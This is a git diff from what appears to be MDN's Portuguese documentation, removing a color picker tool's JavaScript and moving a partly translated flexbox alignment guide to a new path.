-			return this;
-		};
-
-		CanvasSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		CanvasSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
-			this.zIndex = value;
-			this.node.style.zIndex = value;
-		};
-
-		CanvasSample.prototype.activate = function activate() {
-			this.node.setAttribute('data-active', 'true');
-			zindex.setAttribute('data-active', 'true');
-
-			UIColorPicker.setColor('picker', this.color);
-			InputSliderManager.setValue('z-index', this.zIndex);
-		};
-
-		CanvasSample.prototype.deactivate = function deactivate() {
-			this.node.removeAttribute('data-active');
-			zindex.removeAttribute('data-active');
-		};
-
-		CanvasSample.prototype.deleteSample = function deleteSample() {
-			if (active === this)
-				unsetActiveSample();
-			canvas.removeChild(this.node);
-			samples[this.uid] = null;
-		};
-
-		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
-			this.node.style.top = posY - this.startY + 'px';
-			this.node.style.left = posX - this.startX + 'px';
-		};
-
-		var canvasDropEvent = function canvasDropEvent(e) {
-			var color = Tool.getSampleColorFrom(e);
-
-			if (color) {
-				var offsetX = e.pageX - canvas.offsetLeft;
-				var offsetY = e.pageY - canvas.offsetTop;
-				var sample = new CanvasSample(color, offsetX, offsetY);
-				if (tutorial) {
-					tutorial = false;
-					canvas.removeAttribute('data-tutorial');
-					var info = new CanvasSample(new Color(), 100, 100);
-					info.node.setAttribute('data-tutorial', 'dblclick');
-				}
-			}
-
-		};
-
-		var setActiveSample = function setActiveSample(sample) {
-			ColorPickerSamples.unsetActiveSample();
-			Tool.unsetVoidSample();
-			unsetActiveSample();
-			active = sample;
-			active.activate();
-		};
-
-		var unsetActiveSample = function unsetActiveSample() {
-			if (active)
-				active.deactivate();
-			active = null;
-		};
-
-		var createToggleBgButton = function createToggleBgButton() {
-			var button = document.createElement('div');
-			var state = false;
-			button.className = 'toggle-bg';
-			canvas.appendChild(button);
-
-			button.addEventListener('click', function() {
-				console.log(state);
-				state = !state;
-				canvas.setAttribute('data-bg', state);
-			});
-		};
-
-		var init = function init() {
-			canvas = getElemById('canvas');
-			zindex = getElemById('zindex');
-
-			canvas.addEventListener('dragover', allowDropEvent);
-			canvas.addEventListener('drop', canvasDropEvent);
-
-			createToggleBgButton();
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (active)	active.updateColor(color);
-			});
-
-			InputSliderManager.subscribe('z-index', function (value) {
-				if (active)	active.updateZIndex(value);
-			});
-
-			UIComponent.makeResizable(canvas, 'height');
-		};
-
-		return {
-			init : init,
-			unsetActiveSample : unsetActiveSample
-		};
-
-	})();
-
-	var StateButton = function StateButton(node, state) {
-		this.state = false;
-		this.callback = null;
-
-		node.addEventListener('click', function() {
-			this.state = !this.state;
-			if (typeof this.callback === "function")
-				this.callback(this.state);
-		}.bind(this));
-	};
-
-	StateButton.prototype.set = function set() {
-		this.state = true;
-		if (typeof this.callback === "function")
-			this.callback(this.state);
-	};
-
-	StateButton.prototype.unset = function unset() {
-		this.state = false;
-		if (typeof this.callback === "function")
-			this.callback(this.state);
-	};
-
-	StateButton.prototype.subscribe = function subscribe(func) {
-		this.callback = func;
-	};
-
-
-	/**
-	 * Tool
-	 */
-	var Tool = (function Tool() {
-
-		var samples = [];
-		var controls = null;
-		var void_sw;
-
-		var createPickerModeSwitch = function createPickerModeSwitch() {
-			var parent = getElemById('controls');
-			var icon = document.createElement('div');
-			var button = document.createElement('div');
-			var hsv = document.createElement('div');
-			var hsl = document.createElement('div');
-			var active = null;
-
-			icon.className = 'icon picker-icon';
-			button.className = 'switch';
-			button.appendChild(hsv);
-			button.appendChild(hsl);
-
-			hsv.textContent = 'HSV';
-			hsl.textContent = 'HSL';
-
-			active = hsl;
-			active.setAttribute('data-active', 'true');
-
-			function switchPickingModeTo(elem) {
-				active.removeAttribute('data-active');
-				active = elem;
-				active.setAttribute('data-active', 'true');
-				UIColorPicker.setPickerMode('picker', active.textContent);
-			};
-
-			var picker_sw = new StateButton(icon);
-			picker_sw.subscribe(function() {
-				if (active === hsv)
-					switchPickingModeTo(hsl);
-				else
-					switchPickingModeTo(hsv);
-			});
-
-			hsv.addEventListener('click', function() {
-				switchPickingModeTo(hsv);
-			});
-			hsl.addEventListener('click', function() {
-				switchPickingModeTo(hsl);
-			});
-
-			parent.appendChild(icon);
-			parent.appendChild(button);
-		};
-
-		var setPickerDragAndDrop = function setPickerDragAndDrop() {
-			var preview = document.querySelector('#picker .preview-color');
-			var picking_area = document.querySelector('#picker .picking-area');
-
-			preview.setAttribute('draggable', 'true');
-			preview.addEventListener('drop', drop);
-			preview.addEventListener('dragstart', dragStart);
-			preview.addEventListener('dragover', allowDropEvent);
-
-			picking_area.addEventListener('drop', drop);
-			picking_area.addEventListener('dragover', allowDropEvent);
-
-			function drop(e) {
-				var color = getSampleColorFrom(e);
-				UIColorPicker.setColor('picker', color);
-			};
-
-			function dragStart(e) {
-				e.dataTransfer.setData('sampleID', 'picker');
-				e.dataTransfer.setData('location', 'picker');
-			};
-		};
-
-		var getSampleColorFrom = function getSampleColorFrom(e) {
-			var sampleID = e.dataTransfer.getData('sampleID');
-			var location = e.dataTransfer.getData('location');
-
-			if (location === 'picker')
-				return UIColorPicker.getColor(sampleID);
-			if (location === 'picker-samples')
-				return ColorPickerSamples.getSampleColor(sampleID);
-			if (location === 'palette-samples')
-				return ColorPalette.getSampleColor(sampleID);
-		};
-
-		var setVoidSwitch = function setVoidSwitch() {
-			var void_sample = getElemById('void-sample');
-			void_sw = new StateButton(void_sample);
-			void_sw.subscribe( function (state) {
-				void_sample.setAttribute('data-active', state);
-				if (state === true) {
-					ColorPickerSamples.unsetActiveSample();
-					CanvasSamples.unsetActiveSample();
-				}
-			});
-		};
-
-		var unsetVoidSample = function unsetVoidSample() {
-			void_sw.unset();
-		};
-
-		var init = function init() {
-			controls = getElemById('controls');
-
-			var color = new Color();
-			color.setHSL(0, 51, 51);
-			UIColorPicker.setColor('picker', color);
-
-			setPickerDragAndDrop();
-			createPickerModeSwitch();
-			setVoidSwitch();
-		};
-
-		return {
-			init : init,
-			unsetVoidSample : unsetVoidSample,
-			getSampleColorFrom : getSampleColorFrom
-		};
-
-	})();
-
-	var init = function init() {
-		UIColorPicker.init();
-		InputSliderManager.init();
-		ColorInfo.init();
-		ColorPalette.init();
-		ColorPickerSamples.init();
-		CanvasSamples.init();
-		Tool.init();
-	};
-
-	return {
-		init : init
-	};
-
-})();
-
-
- -

 

- -

{{CSSRef}}

- -

Esta ferramenta facilita a criação, ajuste, e experimentação de cores personalizadas na internet. Também facilita conversão entre vários formatos de cor disponíveis em CSS, incluindo: HEXA colors, RGB (Red/Green/Blue) e HSL (Hue/Saturation/Lightness). Também é possível controlar o canal alfa nos formatos RGB (rgba) and HSL (hsla).

- -

Ao ajustar os parâmetros que definem a cor, a mesma é mostrada nos três formatos padrão de CSS na internet. Além disso, com base na cor atualmente selecionada, é gerada uma paleta para HSL e HSV, assim como alfa. A caixa de seleção de cores no estilo "conta-gotas" pode mudar entre HSL e HSV. Também pode testar as cores e ver como se intersetam arrastando-as para a caixa por baixo da ferramenta e deslocando-as para o mesmo ponto. Ajuste o valor do índice-Z relativo para as mover para a frente e para trás umas das outras.

- -

Esta ferramenta vai ajudá-lo a identificar as cores perfeitas para o CSS do seu HTML.

- -

{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}

- -

As cores que gerou em cima podem ser usadas em qualquer sítio que estaria uma cor em CSS e/ou HTML, salvo indicação em contrário.

- -

See also

- -

Para mais informações sobre cores, consulte estes artigos:

- - - -

 

- - diff --git a/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html new file mode 100644 index 0000000000..4e1d10f5de --- /dev/null +++ b/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html @@ -0,0 +1,215 @@ +--- +title: Alinhamento de Itens num Recipiente Flex +slug: Web/CSS/CSS_Flexible_Box_Layout/alinhamento_de_itens_num_recipiente_flex +tags: + - Alinhar + - CSS + - Flex + - Guía + - align-content + - align-items + - align-self + - alinhamento + - flexbox + - justificar + - justify-content +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container +--- +

{{CSSRef}}

+ +

Uma das razões pelas quais o flexbox atraiu rapidamente o interesse dos programadores da Web é que este trouxe os melhores recursos de alinhamento para a Web, pela primeira vez. Este permitiu o alinhamento vertical adequado, e assim nós podemos finalmente, centrar uma caixa facilmente. Neste guia, Nós iremos analisar detalhadamente como as propriedades de alinhamento e justificação funcionam no Flexbox.

+ +

Para centrar a nossa caixa, nós utilizamos a propriedade align-items para alinhar o nosso item no eixo transversal, que neste caso é o eixo do bloco na vertical. Nós utilizamos o justify-content para alinhar o item no eixo principal, que neste caso é o eixo horizontal.

+ +

A containing element with another box centered inside it.

+ +

 

+ +

Podem ver o código do exemplo abaixo. Muda o tamanho do container ou do elemento aninhado e o elemento aninhado permanecerá centrado.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

+ +

Propriedades que controlam o alinhamento

+ +

As propriedades que nós iremos ver neste guia são as seguintes:

+ + + +

Vamos também descobrir como as margens automáticas podem ser utilizadas para alinhamento em flexbox.

+ +
+

Nota: As propriedades de alinhamento em Flexbox foram colocadas na sua própria especificação — CSS Box Alignment Level 3. É expectável que esta especificação irá enfim substituir as propriedades definidas em Flexbox Level One.

+
+ +

O Eixo Transversal

+ +

As propriedades align-itemsalign-self controlam o alinhamento dos nossos itens da flex no eixo transversal, pelas colunas se a flex-direction for row e ao longo da linha se a flex-direction for column.

+ +

Estamos a dar uso do alinhamento no eixo transversalno exemplo mais fácil do flex. Se adicionarmos display: flex a um container, os sub-elementos tornarão-se todos itens da flex numa linha. Irão esticar-se para serem tão altos quanto o item mais alto, já que esse item está a definir a altura dos itens do eixo transversal. Se o teu flex container tiver uma altura definida, então os itens irão esticar até essa altura, independentemente de quanto conteúdo estiver no item.

+ +

Three items, one with additional text causing it to be taller than the others.

+ +

Three items stretched to 200 pixels tall

+ +

A razão pela qual os items ficam da mesma altura é porque o valor inicial do align-items, a propriedade que controla o alinhamento no eixo transversal, está definida para stretch.

+ +

Podemos utilizar outros valores para controlar de que forma os itens se alinham:

+ + + +

No exemplo de baixo, o valor do align-items é stretch. Experimenta os outros valores e observa como todos os itens se alinham em relação aos outros no flex container.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} 

+ +

Alinhar um item com align-self

+ +

A propriedade align-items define a propriedade align-self em todos os itens da flex como um grupo. Isto significa que tu podes explicitamente declarar a propriedade align-self para visar um único item. A propriedade align-self aceita todos os valores da align-items , mais o valor  auto, que irá dar reset ao valor definido na flex container.

+ +

Neste próximo exemplo, o flex container tem align-items: flex-start, o que significa que os itens estão todos alinhados com o início do eixo transversal. Eu visei o primeiro item utilizado um first-child e defini esse item para align-items: stretch; outro item foi selecionado utilizando a sua classe de selected e foi-lhe dado align-items: center. Podes alterar o valor do align-items ou os valores do align-self em itens individuais para veres como funciona.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} 

+ +

Alteração do eixo principal

+ +

Até agora observámos o comportamento quando o nosso flex-direction é row, enquanto trabalhamos numa linguagem escrita de cima a baixo. Isto significa que o eixo principal "corre" horizontalmente, e o alinhamento do nosso eixo transversal muda os itens para cima e para baixo.

+ +

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis.

+ +

Se nós mudarmos o nosso flex-direction para column, o align-items e o align-self irão alinhar os itens para a esquerda e para a direita.

+ +

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis.

+ +

Podes testar isto no exemplo abaixo, que tem um flex container com flex-direction: column mas de resto, é exatamente igual ao exemplo anterior.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} 

+ +

Alinhar conteúdo no eixo transversal — a propriedade align-content

+ +

Até agora temos estado a alinhar os itens, ou um item individual, dentro da área definida pelo flex-container. Se tu tiveres um wrapped multiple-line flex container então também poderás querer utilizar a propriedade align-content para controlar a distribuição do espaço entrelinhas. Na especificação isto é descrito como empacotar as linhas do flex.

+ +

Para o align-content funcionar, precisarás de mais altura no teu flex container do que é necessário para mostrar os itens. Irá então afetar todos os itens como um conjunto, e ditará o que irá acontecer com esse espaço livre, e o alinhamento do conjunto inteiro de itens dentro dele.

+ +

A propriedade align-content aceita os seguintes valores:

+ + + +

No exemplo abaixo, o flex container tem uma altura de 400 pixels, o que é mais do que necessário para mostrar os nossos itens. O valor do align-content é space-between, o que significa que o espaço disponível é partilhado entre as linhas da flex, que está posicionada nívelado com o início e o fim do container no eixo transversal.

+ +

Experimenta os outros valores para veres como a propriedade align-content funciona.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} 

+ +

Mais uma vez podemos alterar o nosso flex-direction para column de forma a observar como esta propriedade se comporta quando estamos a trabalhar por coluna. Tal como anteriormente, precisamos de espaço suficiente no eixo transversal para ter algum espaço livre depois de mostrar todos os itens.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} 

+ +
+

Nota: o valor space-evenly não está definido na especificação da flexbox e será uma adição posterior à especificação do Alinhamento da Caixa. O suporte dos navegadores para este valor não é tão bom quanto o suporte para os valore definidos na especificação da flexbox.

+
+ +

Lê a documentação para o justify-content no MDN para mais detalhes sobre todos estes valores, e o seu suporte em navegadores.

+ +

Alinhar conteúdo no eixo principal

+ +

Agora que já vimos como o alinhamento funciona no eixo transversal, podemos dar uma olhada no eixo principal. Aqui temos apenas uma propriedade disponível — justify-content. Isto é porque apenas estaremos a lidar como itens como se fossem um grupo no eixo principal. Com o justify-content we control what happens with available space, should there be more space than is needed to display the items.

+ +

In our initial example with display: flex on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of justify-content being flex-start. Any available space is placed at the end of the items.

+ +

Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.

+ +

The justify-content property accepts the same values as align-content.

+ + + +

In the example below, the value of justify-content is space-between. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} 

+ +

If the main axis is in the block direction because flex-direction is set to column, then justify-content will distribute space between items in that dimension as long as there is space in the flex container to distribute.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} 

+ +

Modos de Alinhamento e Gravação

+ +

Remember that with all of these alignment methods, the values of flex-start and flex-end are writing mode-aware. If the value of justify-content is start and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.

+ +

Three items lined up on the left

+ +

However if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.

+ +

Three items lined up from the right

+ +

The live example below has the direction property set to rtl to force a right-to-left flow for our items. You can remove this, or change the values of justify-content to see how flexbox behaves when the start of the inline direction is on the right.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} 

+ +

Alinhamento e flex-direction

+ +

The start line will also change if you change the flex-direction property — for example using row-reverse instead of row.

+ +

In this next example I have items laid out with flex-direction: row-reverse and justify-content: flex-end. In a left to right language the items all line up on the left. Try changing flex-direction: row-reverse to flex-direction: row. You will see that the items now move to the right hand side.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} 

+ +

While this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. flex-start will be where the start of a sentence of text would begin.

+ +

Diagram showing start on the left and end on the right.

+ +

You can switch them to display in the block direction for the language of your document by selecting flex-direction: column. Then flex-start will then be where the top of your first paragraph of text would start.

+ +

Diagram showing start and the top and end at the bottom.

+ +

If you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. flex-start will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.

+ +

Diagram showing start on the right and end on the left.

+ +

Diagram showing end at the top and start at the bottom

+ +

Utilização de margen automáticas para o alinhamento do eixo principal

+ +

We don’t have a justify-items or justify-self property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.

+ +

A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a justify-self property, however consider the image below. I have three items on one side and two on the other. If I were able to use justify-self on item d, it would also change the alignment of item e that follows, which may or may not be my intention.

+ +

Five items, in two groups. Three on the left and two on the right.

+ +

Instead we can target item 4 and separate it from the first three items by giving it a margin-left value of auto. Auto margins will take up all of the space that they can in their axis — it is how entering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.

+ +

In this live example, I have flex items arranged simply into a row with the basic flex values, and the class push has margin-left: auto. You can try removing this, or adding the class to another item to see how it works.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} 

+ +

Funcionalidades de alinhamento futuras para o Flexbox

+ +

At the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the space-evenly value for align-content and justify-content properties.

+ +

The Box Alignment module also includes other methods of creating space between items, such as the column-gap and row-gap feature as seen in CSS Grid Layout. The inclusion of these properties in Box Alignment means that in future we should be able to use column-gap and row-gap in flex layouts too. This will mean you won’t need to use margins to space out flex items.

+ +

My suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article Box Alignment in Grid Layout, and I have also compared how alignment works in these specifications in my Box Alignment Cheatsheet.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/alinhamento_de_itens_num_recipiente_flex/index.html b/files/pt-pt/web/css/css_flexible_box_layout/alinhamento_de_itens_num_recipiente_flex/index.html deleted file mode 100644 index 4e1d10f5de..0000000000 --- a/files/pt-pt/web/css/css_flexible_box_layout/alinhamento_de_itens_num_recipiente_flex/index.html +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: Alinhamento de Itens num Recipiente Flex -slug: Web/CSS/CSS_Flexible_Box_Layout/alinhamento_de_itens_num_recipiente_flex -tags: - - Alinhar - - CSS - - Flex - - Guía - - align-content - - align-items - - align-self - - alinhamento - - flexbox - - justificar - - justify-content -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container ---- -

{{CSSRef}}

- -

Uma das razões pelas quais o flexbox atraiu rapidamente o interesse dos programadores da Web é que este trouxe os melhores recursos de alinhamento para a Web, pela primeira vez. Este permitiu o alinhamento vertical adequado, e assim nós podemos finalmente, centrar uma caixa facilmente. Neste guia, Nós iremos analisar detalhadamente como as propriedades de alinhamento e justificação funcionam no Flexbox.

- -

Para centrar a nossa caixa, nós utilizamos a propriedade align-items para alinhar o nosso item no eixo transversal, que neste caso é o eixo do bloco na vertical. Nós utilizamos o justify-content para alinhar o item no eixo principal, que neste caso é o eixo horizontal.

- -

A containing element with another box centered inside it.

- -

 

- -

Podem ver o código do exemplo abaixo. Muda o tamanho do container ou do elemento aninhado e o elemento aninhado permanecerá centrado.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

- -

Propriedades que controlam o alinhamento

- -

As propriedades que nós iremos ver neste guia são as seguintes:

- - - -

Vamos também descobrir como as margens automáticas podem ser utilizadas para alinhamento em flexbox.

- -
-

Nota: As propriedades de alinhamento em Flexbox foram colocadas na sua própria especificação — CSS Box Alignment Level 3. É expectável que esta especificação irá enfim substituir as propriedades definidas em Flexbox Level One.

-
- -

O Eixo Transversal

- -

As propriedades align-itemsalign-self controlam o alinhamento dos nossos itens da flex no eixo transversal, pelas colunas se a flex-direction for row e ao longo da linha se a flex-direction for column.

- -

Estamos a dar uso do alinhamento no eixo transversalno exemplo mais fácil do flex. Se adicionarmos display: flex a um container, os sub-elementos tornarão-se todos itens da flex numa linha. Irão esticar-se para serem tão altos quanto o item mais alto, já que esse item está a definir a altura dos itens do eixo transversal. Se o teu flex container tiver uma altura definida, então os itens irão esticar até essa altura, independentemente de quanto conteúdo estiver no item.

- -

Three items, one with additional text causing it to be taller than the others.

- -

Three items stretched to 200 pixels tall

- -

A razão pela qual os items ficam da mesma altura é porque o valor inicial do align-items, a propriedade que controla o alinhamento no eixo transversal, está definida para stretch.

- -

Podemos utilizar outros valores para controlar de que forma os itens se alinham:

- - - -

No exemplo de baixo, o valor do align-items é stretch. Experimenta os outros valores e observa como todos os itens se alinham em relação aos outros no flex container.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} 

- -

Alinhar um item com align-self

- -

A propriedade align-items define a propriedade align-self em todos os itens da flex como um grupo. Isto significa que tu podes explicitamente declarar a propriedade align-self para visar um único item. A propriedade align-self aceita todos os valores da align-items , mais o valor  auto, que irá dar reset ao valor definido na flex container.

- -

Neste próximo exemplo, o flex container tem align-items: flex-start, o que significa que os itens estão todos alinhados com o início do eixo transversal. Eu visei o primeiro item utilizado um first-child e defini esse item para align-items: stretch; outro item foi selecionado utilizando a sua classe de selected e foi-lhe dado align-items: center. Podes alterar o valor do align-items ou os valores do align-self em itens individuais para veres como funciona.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} 

- -

Alteração do eixo principal

- -

Até agora observámos o comportamento quando o nosso flex-direction é row, enquanto trabalhamos numa linguagem escrita de cima a baixo. Isto significa que o eixo principal "corre" horizontalmente, e o alinhamento do nosso eixo transversal muda os itens para cima e para baixo.

- -

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis.

- -

Se nós mudarmos o nosso flex-direction para column, o align-items e o align-self irão alinhar os itens para a esquerda e para a direita.

- -

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis.

- -

Podes testar isto no exemplo abaixo, que tem um flex container com flex-direction: column mas de resto, é exatamente igual ao exemplo anterior.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} 

- -

Alinhar conteúdo no eixo transversal — a propriedade align-content

- -

Até agora temos estado a alinhar os itens, ou um item individual, dentro da área definida pelo flex-container. Se tu tiveres um wrapped multiple-line flex container então também poderás querer utilizar a propriedade align-content para controlar a distribuição do espaço entrelinhas. Na especificação isto é descrito como empacotar as linhas do flex.

- -

Para o align-content funcionar, precisarás de mais altura no teu flex container do que é necessário para mostrar os itens. Irá então afetar todos os itens como um conjunto, e ditará o que irá acontecer com esse espaço livre, e o alinhamento do conjunto inteiro de itens dentro dele.

- -

A propriedade align-content aceita os seguintes valores:

- - - -

No exemplo abaixo, o flex container tem uma altura de 400 pixels, o que é mais do que necessário para mostrar os nossos itens. O valor do align-content é space-between, o que significa que o espaço disponível é partilhado entre as linhas da flex, que está posicionada nívelado com o início e o fim do container no eixo transversal.

- -

Experimenta os outros valores para veres como a propriedade align-content funciona.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} 

- -

Mais uma vez podemos alterar o nosso flex-direction para column de forma a observar como esta propriedade se comporta quando estamos a trabalhar por coluna. Tal como anteriormente, precisamos de espaço suficiente no eixo transversal para ter algum espaço livre depois de mostrar todos os itens.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} 

- -
-

Nota: o valor space-evenly não está definido na especificação da flexbox e será uma adição posterior à especificação do Alinhamento da Caixa. O suporte dos navegadores para este valor não é tão bom quanto o suporte para os valore definidos na especificação da flexbox.

-
- -

Lê a documentação para o justify-content no MDN para mais detalhes sobre todos estes valores, e o seu suporte em navegadores.

- -

Alinhar conteúdo no eixo principal

- -

Agora que já vimos como o alinhamento funciona no eixo transversal, podemos dar uma olhada no eixo principal. Aqui temos apenas uma propriedade disponível — justify-content. Isto é porque apenas estaremos a lidar como itens como se fossem um grupo no eixo principal. Com o justify-content we control what happens with available space, should there be more space than is needed to display the items.

- -

In our initial example with display: flex on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of justify-content being flex-start. Any available space is placed at the end of the items.

- -

Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.

- -

The justify-content property accepts the same values as align-content.

- - - -

In the example below, the value of justify-content is space-between. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} 

- -

If the main axis is in the block direction because flex-direction is set to column, then justify-content will distribute space between items in that dimension as long as there is space in the flex container to distribute.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} 

- -

Modos de Alinhamento e Gravação

- -

Remember that with all of these alignment methods, the values of flex-start and flex-end are writing mode-aware. If the value of justify-content is start and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.

- -

Three items lined up on the left

- -

However if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.

- -

Three items lined up from the right

- -

The live example below has the direction property set to rtl to force a right-to-left flow for our items. You can remove this, or change the values of justify-content to see how flexbox behaves when the start of the inline direction is on the right.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} 

- -

Alinhamento e flex-direction

- -

The start line will also change if you change the flex-direction property — for example using row-reverse instead of row.

- -

In this next example I have items laid out with flex-direction: row-reverse and justify-content: flex-end. In a left to right language the items all line up on the left. Try changing flex-direction: row-reverse to flex-direction: row. You will see that the items now move to the right hand side.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} 

- -

While this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. flex-start will be where the start of a sentence of text would begin.

- -

Diagram showing start on the left and end on the right.

- -

You can switch them to display in the block direction for the language of your document by selecting flex-direction: column. Then flex-start will then be where the top of your first paragraph of text would start.

- -

Diagram showing start and the top and end at the bottom.

- -

If you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. flex-start will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.

- -

Diagram showing start on the right and end on the left.

- -

Diagram showing end at the top and start at the bottom

- -

Utilização de margen automáticas para o alinhamento do eixo principal

- -

We don’t have a justify-items or justify-self property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.

- -

A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a justify-self property, however consider the image below. I have three items on one side and two on the other. If I were able to use justify-self on item d, it would also change the alignment of item e that follows, which may or may not be my intention.

- -

Five items, in two groups. Three on the left and two on the right.

- -

Instead we can target item 4 and separate it from the first three items by giving it a margin-left value of auto. Auto margins will take up all of the space that they can in their axis — it is how entering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.

- -

In this live example, I have flex items arranged simply into a row with the basic flex values, and the class push has margin-left: auto. You can try removing this, or adding the class to another item to see how it works.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} 

- -

Funcionalidades de alinhamento futuras para o Flexbox

- -

At the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the space-evenly value for align-content and justify-content properties.

- -

The Box Alignment module also includes other methods of creating space between items, such as the column-gap and row-gap feature as seen in CSS Grid Layout. The inclusion of these properties in Box Alignment means that in future we should be able to use column-gap and row-gap in flex layouts too. This will mean you won’t need to use margins to space out flex items.

- -

My suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article Box Alignment in Grid Layout, and I have also compared how alignment works in these specifications in my Box Alignment Cheatsheet.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/casos_de_utilizacao_tipicos_do_flexbox/index.html b/files/pt-pt/web/css/css_flexible_box_layout/casos_de_utilizacao_tipicos_do_flexbox/index.html deleted file mode 100644 index cd89209634..0000000000 --- a/files/pt-pt/web/css/css_flexible_box_layout/casos_de_utilizacao_tipicos_do_flexbox/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Casos de utilização típicos do Flexbox -slug: Web/CSS/CSS_Flexible_Box_Layout/casos_de_utilizacao_tipicos_do_flexbox -tags: - - CSS - - Caixa Flexível - - Flexible Box - - Guía - - flexbox - - padrões - - utilizações comuns -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox ---- -

{{CSSRef}}

- -

Neste guia, nós vamos dar uma vista de olhos em alguns dos casos de utilização comuns para o flexbox - esses lugares onde faz mais sentido do que outro método de layout .

- -

Porque escolher flexbox?

- -

In a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another. As you lay out your items you want to control the dimensions of the items in that one dimension, or control the spacing between items. These are the uses that flexbox was designed for. You can read more about the difference between flexbox and CSS Grid Layout in Relationship of Flexbox to other layout methods, where we discuss how flexbox fits into the overall picture of CSS Layout.

